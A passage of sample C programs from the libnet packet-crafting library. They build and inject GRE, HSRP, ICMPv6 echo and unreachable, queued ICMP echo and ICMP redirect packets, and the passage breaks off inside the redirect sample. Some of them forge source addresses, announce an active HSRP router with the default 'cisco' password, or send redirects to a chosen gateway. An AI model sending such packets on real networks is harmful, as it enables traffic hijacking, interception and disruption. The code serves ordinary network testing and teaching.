CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" void usage(char *prog) { fprintf(stderr, "Usage: %s\n", prog); fprintf(stderr, "\t IP options: -d [-s src ip]\n"); fprintf(stderr, "\t GRE options: [-v] set RFC 2637 mode (PPP in GRE) (default is RFC 1701 for IP in GRE)\n"); fprintf(stderr, "\t\t RFC 1701 options (IP in GRE):\n"); fprintf(stderr, "\t\t [-c sum] [-r routing] [-k key] [-n seqnum]\n"); fprintf(stderr, "\t\t IP in GRE options: [-S src ip] [-D dst ip]\n"); fprintf(stderr, "\t\t RFC 2637 options (PPP in GRE):\n"); fprintf(stderr, "\t\t [-a ack]\n"); exit(1); } /* * --------------------------------- * | Delivery Header | * --------------------------------- * | GRE Header | * --------------------------------- * | Payload packet | * --------------------------------- */ int main(int argc, char *argv[]) { char c; libnet_t *l; char errbuf[LIBNET_ERRBUF_SIZE]; u_long src_ip = 0, dst_ip = 0, gre_src_ip = 0, gre_dst_ip = 0; u_short checksum = 0, offset = 0; u_char *routing = NULL; u_long key = 0, seq = 0; u_short gre_flags = 0; u_long len; u_long size = 0; libnet_ptag_t t; printf("libnet 1.1 packet shaping: GRE [link]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (!l) { fprintf(stderr, "libnet_init: %s", errbuf); exit(EXIT_FAILURE); } /* * parse options */ while ((c = getopt(argc, argv, "d:s:D:S:c:r:k:n:va:")) != EOF) { switch (c) { case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'D': if ((gre_dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address (GRE): %s\n", optarg); exit(EXIT_FAILURE); } break; case 'S': if ((gre_src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address (GRE): %s\n", optarg); exit(EXIT_FAILURE); } break; case 'c': checksum = atoi(optarg); gre_flags|=GRE_CSUM; break; case 'r': routing = (u_char *)optarg; gre_flags|=GRE_ROUTING; break; case 'k': key = atoi(optarg); gre_flags|=GRE_KEY; break; case 'n': seq = atoi(optarg); gre_flags|=GRE_SEQ; break; case 'v': gre_flags|=(GRE_VERSION_1|GRE_KEY); break; case 'a': if (! (gre_flags & GRE_VERSION_1)) usage(argv[0]); seq = atoi(optarg); /* seq in v0 is ack in v1 */ gre_flags|=GRE_ACK; break; default: exit(EXIT_FAILURE); } } /* * check options */ if (!dst_ip) { usage(argv[0]); } if (!src_ip) { src_ip = libnet_get_ipaddr4(l); } if (!gre_dst_ip) { gre_dst_ip = libnet_get_prand(LIBNET_PRu32); } if (!gre_src_ip) { gre_src_ip = libnet_get_prand(LIBNET_PRu32); } if ( (gre_flags & GRE_VERSION_MASK) == 0) { /* * Build a TCP/IP packet embedded in GRE message */ size = LIBNET_TCP_H; t = libnet_build_tcp( 1234, /* source port */ 53, /* destination port */ 0x01010101, /* sequence number */ 0x02020202, /* acknowledgement num */ TH_SYN, /* control flags */ 32767, /* window size */ 0, /* checksum */ 0, /* urgent pointer */ size, /* TCP packet size */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build TCP header (GRE): %s\n", libnet_geterror(l)); goto bad; } size += LIBNET_IPV4_H; t = libnet_build_ipv4( size, /* length */ 0, /* TOS */ 242, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_TCP, /* protocol */ 0, /* checksum */ gre_src_ip, /* source IP */ gre_dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l)); goto bad; } } if ( (gre_flags & GRE_VERSION_MASK) == 1) { offset = libnet_get_prand(LIBNET_PRu16); if (~gre_flags & GRE_ACK) { u_char ppp[4] = "\x00\x01"; /* PPP padding */ checksum = 2; /* checksum is in fact payload_s in PPP/GRE (v1) */ size = 2; gre_flags|=GRE_SEQ; key = libnet_get_prand(LIBNET_PRu32); /* * Build a PPP packet embedded in GRE message */ t = libnet_build_data( ppp, checksum, l, 0 ); if (t == -1) { fprintf(stderr, "Can't build PPP header (GRE): %s\n", libnet_geterror(l)); goto bad; } } gre_flags&=~(GRE_CSUM|GRE_ROUTING); } /* * Build the GRE message */ if (gre_flags & GRE_ROUTING) { /* as packet are stacked, start by the last one, ie null sre */ size += LIBNET_GRE_SRE_H; t = libnet_build_gre_last_sre(l, 0); if (t == -1) { fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l)); goto bad; } size += LIBNET_GRE_SRE_H + strlen((char *)routing); t = libnet_build_gre_sre( GRE_IP, /* address family */ 0, /* offset */ strlen((char *)routing), /* routing length */ routing, /* routing info */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build GRE last SRE header: %s\n", libnet_geterror(l)); goto bad; } } len = libnet_getgre_length(gre_flags); size += len; t = libnet_build_gre( gre_flags, /* flags & version */ (gre_flags & GRE_VERSION_1 ? GRE_PPP : GRE_IP), /* type */ checksum, /* v0: checksum / v1: payload_s */ offset, /* v0: offset / v1: callID */ key, /* v0: key / v1: seq bum */ seq, /* v0: seq num / v1: ack */ size, /* length */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build GRE header: %s\n", libnet_geterror(l)); goto bad; } /* * Build the "real" IP header */ size+=LIBNET_IPV4_H; t = libnet_build_ipv4( size, /* length */ 0, /* TOS */ 255, /* IP ID */ 0, /* IP Frag */ 255, /* TTL */ IPPROTO_GRE, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (t == -1) { fprintf(stderr, "Can't build IP header (GRE): %s\n", libnet_geterror(l)); goto bad; } t = libnet_autobuild_ethernet( (uint8_t *)"11:11:11:11:11:11", /* ethernet destination */ ETHERTYPE_IP, /* protocol type */ l); /* libnet handle */ if (t == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * Write it to the wire. */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte GRE packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); } libnet-1.3/sample/hsrp.c0000664000175000017500000001356614506572036013472 0ustar syqsyq/* * * libnet 1.1.2 * Build a HSRP packet * * Copyright (c) 2004 David Barroso Berrueta * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "./libnet_test.h" int main(int argc, char *argv[]) { uint8_t version = LIBNET_HSRP_VERSION; uint8_t opcode = LIBNET_HSRP_TYPE_HELLO; uint8_t state = LIBNET_HSRP_STATE_ACTIVE; uint8_t hello_time = 3; uint8_t hold_time = 10; uint8_t priority = 1; uint8_t group = 1; uint8_t reserved = 0; uint8_t authdata[8]; libnet_t *l; char *device = NULL; char src[] = "1.1.1.1"; char *eth_dst = "DE:AD:00:00:BE:EF"; char dst[] = "224.0.0.2"; int port = 1985; int c; u_long src_ip, dst_ip; char errbuf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t ptag = 0; printf("libnet 1.1.2 packet shaping: HSRP[link]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK_ADV, /* injection type */ device, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } printf("Using device %s\n", l->device); if ((dst_ip = libnet_name2addr4(l, dst, LIBNET_RESOLVE)) == (u_long)-1) { fprintf(stderr, "Bad destination IP address: %s\n", dst); exit(EXIT_FAILURE); } if ((src_ip = libnet_name2addr4(l, src, LIBNET_RESOLVE)) == (u_long)-1) { fprintf(stderr, "Bad source IP address: %s\n", src); exit(EXIT_FAILURE); } memset(authdata, 0, 8); strncpy((char *)authdata, "cisco", 5); ptag = libnet_build_hsrp( version, opcode, state, hello_time, /* Recommended hello time */ hold_time, /* Recommended hold time */ priority, /* Priority */ group, /* Group */ reserved, /* Reserved */ authdata, /* Password */ src_ip, /* Virtual IP */ NULL, 0, l, 0 ); if (ptag == -1) { fprintf(stderr, "Can't build HSRP header: %s\n", libnet_geterror(l)); goto bad; } ptag = libnet_build_udp( port, /* source port */ port, /* destination port */ LIBNET_UDP_H + LIBNET_HSRP_H , /* packet length */ 0, /* checksum */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ptag == -1) { fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l)); goto bad; } ptag = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_UDP_H + LIBNET_HSRP_H,/* length */ 0, /* TOS */ 666, /* IP ID */ 0, /* IP Frag */ 1 , /* TTL */ IPPROTO_UDP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); /* libnet id */ if (ptag == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); exit(EXIT_FAILURE); } eth_dst = (char *)libnet_hex_aton(eth_dst, &c); ptag = libnet_autobuild_ethernet( (uint8_t *)eth_dst, /* ethernet destination */ ETHERTYPE_IP, /* protocol type */ l); /* libnet handle */ free(eth_dst); if (ptag == -1) { fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l)); goto bad; } /* * write to the wire */ c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte HSRP packet; check the wire.\n", c); } libnet_destroy(l); return (EXIT_SUCCESS); bad: libnet_destroy(l); return (EXIT_FAILURE); return 0; } libnet-1.3/sample/icmp6_echoreq.c0000664000175000017500000001301414506572036015226 0ustar syqsyq/* * $Id: icmp6_echoreq.c,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ * * Poseidon++ (c) 1996 - 2002 Mike D. Schiffman * Redone from synflood example by Stefan Schlott * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" struct t_pack { struct libnet_ipv6_hdr ip; struct libnet_tcp_hdr tcp; }; int main(int argc, char **argv) { struct libnet_in6_addr dst_ip; struct libnet_in6_addr src_ip; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t t; char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, c, packet_amt, burst_int, burst_amt, build_ip; char srcname[100], dstname[100]; packet_amt = 0; burst_int = 0; burst_amt = 1; printf("libnet 1.1 echo request ICMP6[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init(LIBNET_RAW6, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while ((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { case 't': if (!(cp = strrchr(optarg, '/'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); dst_ip = libnet_name2addr6(l, optarg, LIBNET_RESOLVE); if (strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0) { fprintf(stderr, "Bad IP6 address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!dst_prt || strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0 || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); libnet_addr2name6_r(src_ip, 1, srcname, sizeof(srcname)); libnet_addr2name6_r(dst_ip, 1, dstname, sizeof(dstname)); for (t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) { for (i = 0; i < packet_amt; i++) { char payload[56]; int i; for (i = 0; i < 56; i++) payload[i] = 'A' + ((char)(i % 26)); t = libnet_build_icmpv4_echo(ICMP6_ECHO, 0, 0, 1, 0, (uint8_t *)payload, sizeof(payload), l, t); if (build_ip) { build_ip = 0; libnet_build_ipv6(0, 0, LIBNET_ICMPV6_H + sizeof(payload), IPPROTO_ICMP6, 64, src_ip, dst_ip, NULL, 0, l, 0); } printf("%15s/%5d -> %15s/%5d\n", srcname, ntohs(src_prt), dstname, dst_prt); c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); } void usage(char *nomenclature) { fprintf(stderr, "\n\nusage: %s -t -a [-i -b]\n" "\t-t target, (ip6:address/port, e.g. ::1/23)\n" "\t-a number of packets to send per burst\n" "\t-i packet burst sending interval (defaults to 0)\n" "\t-b number packet bursts to send (defaults to 1)\n", nomenclature); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * c-file-offsets: ((case-label . +)) * End: */ libnet-1.3/sample/icmp6_unreach.c0000664000175000017500000001364214506572036015234 0ustar syqsyq/* * $Id: icmp6_unreach.c,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ * * Poseidon++ (c) 1996 - 2002 Mike D. Schiffman * Redone from synflood example by Stefan Schlott * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" struct t_pack { struct libnet_ipv6_hdr ip; struct libnet_tcp_hdr tcp; }; int main(int argc, char **argv) { struct libnet_in6_addr dst_ip; struct libnet_in6_addr src_ip; u_short dst_prt = 0; u_short src_prt = 0; libnet_t *l; libnet_ptag_t t; char *cp; char errbuf[LIBNET_ERRBUF_SIZE]; int i, c, packet_amt, burst_int, burst_amt, build_ip; char srcname[100], dstname[100]; packet_amt = 0; burst_int = 0; burst_amt = 1; printf("libnet 1.1 unreach/admin prohibited request ICMP6[raw]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init(LIBNET_RAW6, /* injection type */ NULL, /* network interface */ errbuf); /* error buffer */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } while ((c = getopt(argc, argv, "t:a:i:b:")) != EOF) { switch (c) { case 't': if (!(cp = strrchr(optarg, '/'))) { usage(argv[0]); exit(EXIT_FAILURE); } *cp++ = 0; dst_prt = (u_short)atoi(cp); dst_ip = libnet_name2addr6(l, optarg, LIBNET_RESOLVE); if (strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0) { fprintf(stderr, "Bad IP6 address: %s\n", optarg); exit(EXIT_FAILURE); } break; case 'a': packet_amt = atoi(optarg); break; case 'i': burst_int = atoi(optarg); break; case 'b': burst_amt = atoi(optarg); break; default: usage(argv[0]); exit(EXIT_FAILURE); } } if (!dst_prt || strncmp((char *)&dst_ip, (char *)&in6addr_error, sizeof(in6addr_error)) == 0 || !packet_amt) { usage(argv[0]); exit(EXIT_FAILURE); } libnet_seed_prand(l); libnet_addr2name6_r(src_ip, 1, srcname, sizeof(srcname)); libnet_addr2name6_r(dst_ip, 1, dstname, sizeof(dstname)); for (t = LIBNET_PTAG_INITIALIZER, build_ip = 1; burst_amt--;) { for (i = 0; i < packet_amt; i++) { uint8_t payload[56]; int i; for (i = 0; i < sizeof(payload); i++) payload[i] = 'A' + (i % 26); t = libnet_build_icmpv6_unreach(ICMP6_UNREACH, /* type */ ICMP6_ADM_PROHIBITED, /* code */ 0, /* checksum */ payload, /* payload */ sizeof(payload), /* payload length */ l, /* libnet context */ t); /* libnet ptag */ if (build_ip) { build_ip = 0; libnet_build_ipv6(0, 0, LIBNET_IPV6_H + LIBNET_ICMPV6_H + sizeof(payload), IPPROTO_ICMP6, 64, src_ip, dst_ip, NULL, 0, l, 0); } printf("%15s/%5d -> %15s/%5d\n", srcname, ntohs(src_prt), dstname, dst_prt); c = libnet_write(l); if (c == -1) { fprintf(stderr, "libnet_write: %s\n", libnet_geterror(l)); } #if !(__WIN32__) usleep(250); #else Sleep(250); #endif } #if !(__WIN32__) sleep(burst_int); #else Sleep(burst_int * 1000); #endif } exit(EXIT_SUCCESS); } void usage(char *nomenclature) { fprintf(stderr, "\n\nusage: %s -t -a [-i -b]\n" "\t-t target, (ip6:address/port, e.g. ::1/23)\n" "\t-a number of packets to send per burst\n" "\t-i packet burst sending interval (defaults to 0)\n" "\t-b number packet bursts to send (defaults to 1)\n", nomenclature); } /** * Local Variables: * indent-tabs-mode: nil * c-file-style: "stroustrup" * c-file-offsets: ((case-label . +)) * End: */ libnet-1.3/sample/icmp_echo_cq.c0000664000175000017500000001437114506572036015122 0ustar syqsyq/* * $Id: icmp_echo_cq.c,v 1.3 2004/01/03 20:31:01 mike Exp $ * * libnet 1.1 * Build ICMP_ECHO packets using the context queue interface. * * Copyright (c) 1998 - 2004 Mike D. Schiffman * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #include "./libnet_test.h" void usage(char *); int main(int argc, char **argv) { libnet_t *l = NULL; u_long src_ip = 0, dst_ip = 0; u_long count = 10; int i, c; libnet_ptag_t t; char *payload = NULL; u_short payload_s = 0; char *device = NULL; char *pDst = NULL, *pSrc = NULL; char errbuf[LIBNET_ERRBUF_SIZE]; char label[LIBNET_LABEL_SIZE]; printf("libnet 1.1 packet shaping: ICMP[RAW using context queue]\n"); while((c = getopt(argc, argv, "d:s:i:c:p:")) != EOF) { switch (c) { case 'd': pDst = optarg; break; case 's': pSrc = optarg; break; case 'i': device = optarg; break; case 'c': count = strtoul(optarg, 0, 10); break; case 'p': payload = optarg; payload_s = strlen(payload); break; } } if (!pSrc || !pDst) { usage(argv[0]); exit(EXIT_FAILURE); } /* * Fill the context queue with "count" packets, each with their own * context. */ for (i = 0; i < count; i++) { l = libnet_init( LIBNET_RAW4, /* injection type */ device, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { /* we should run through the queue and free any stragglers */ fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } /* * Since we need a libnet context for address resolution it is * necessary to put this inside the loop. */ if (!dst_ip && (dst_ip = libnet_name2addr4(l, pDst, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", pDst); exit(1); } if (!src_ip && (src_ip = libnet_name2addr4(l, pSrc, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", pSrc); exit(1); } t = libnet_build_icmpv4_echo( ICMP_ECHO, /* type */ 0, /* code */ 0, /* checksum */ 0x42, /* id */ 0x42, /* sequence number */ NULL, /* payload */ 0, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build ICMP header: %s\n", libnet_geterror(l)); goto bad; } t = libnet_build_ipv4( LIBNET_IPV4_H + LIBNET_ICMPV4_ECHO_H + payload_s, /* length */ 0, /* TOS */ 0x42, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ src_ip, /* source IP */ dst_ip, /* destination IP */ (uint8_t *)payload, /* payload */ payload_s, /* payload size */ l, /* libnet handle */ 0); if (t == -1) { fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l)); goto bad; } /* and finally, put it in the context queue */ snprintf(label, sizeof(label)-1, "echo %d", i); if (libnet_cq_add(l, label) == -1) { fprintf(stderr, "add error: %s\n", libnet_geterror(l)); goto bad; } } for_each_context_in_cq(l) { c = libnet_write(l); if (c == -1) { fprintf(stderr, "Write error: %s\n", libnet_geterror(l)); goto bad; } else { fprintf(stderr, "Wrote %d byte ICMP packet from context \"%s\"; " "check the wire.\n", c, libnet_cq_getlabel(l)); } } libnet_cq_destroy(); return (EXIT_SUCCESS); bad: libnet_cq_destroy(); libnet_destroy(l); return (EXIT_FAILURE); } void usage(char *name) { fprintf(stderr, "usage: %s -s source_ip -d destination_ip" " [-i iface] [-c count = 10]\n ", name); } libnet-1.3/sample/icmp_redirect.c0000664000175000017500000001575014506572036015324 0ustar syqsyq/* * $Id: icmp_redirect.c,v 1.3 2004/03/16 18:40:58 mike Exp $ * * libnet 1.1 * Build an ICMP redirect packet * * Copyright (c) 1998 - 2004 Mike D. Schiffman * Copyright (c) 2003 Alberto Ornaghi * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE. * */ #if (HAVE_CONFIG_H) #include "../include/config.h" #endif #include "./libnet_test.h" int main(int argc, char **argv) { int c; libnet_t *l; libnet_ptag_t t; u_long src_ip, dst_ip, gw_ip; u_char payload[8] = {0x11, 0x11, 0x22, 0x22, 0x00, 0x08, 0xc6, 0xa5}; u_long payload_s = 8; char errbuf[LIBNET_ERRBUF_SIZE]; printf("libnet 1.1 packet shaping: ICMP redirect[link]\n"); /* * Initialize the library. Root priviledges are required. */ l = libnet_init( LIBNET_LINK, /* injection type */ NULL, /* network interface */ errbuf); /* errbuf */ if (l == NULL) { fprintf(stderr, "libnet_init() failed: %s", errbuf); exit(EXIT_FAILURE); } src_ip = 0; dst_ip = 0; gw_ip = 0; while((c = getopt(argc, argv, "d:s:g:")) != EOF) { switch (c) { case 'd': if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad destination IP address: %s\n", optarg); exit(1); } break; case 's': if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad source IP address: %s\n", optarg); exit(1); } break; case 'g': if ((gw_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1) { fprintf(stderr, "Bad gateway IP address: %s\n", optarg); exit(1); } break; } } if (!src_ip || !dst_ip || !gw_ip) { usage(argv[0]); exit(EXIT_FAILURE); } t = libnet_build_ipv4( LIBNET_IPV4_H + payload_s, /* length */ IPTOS_LOWDELAY | IPTOS_THROUGHPUT, /* TOS */ 0x42, /* IP ID */ 0, /* IP Frag */ 64, /* TTL */ IPPROTO_ICMP, /* protocol */ 0, /* checksum */ 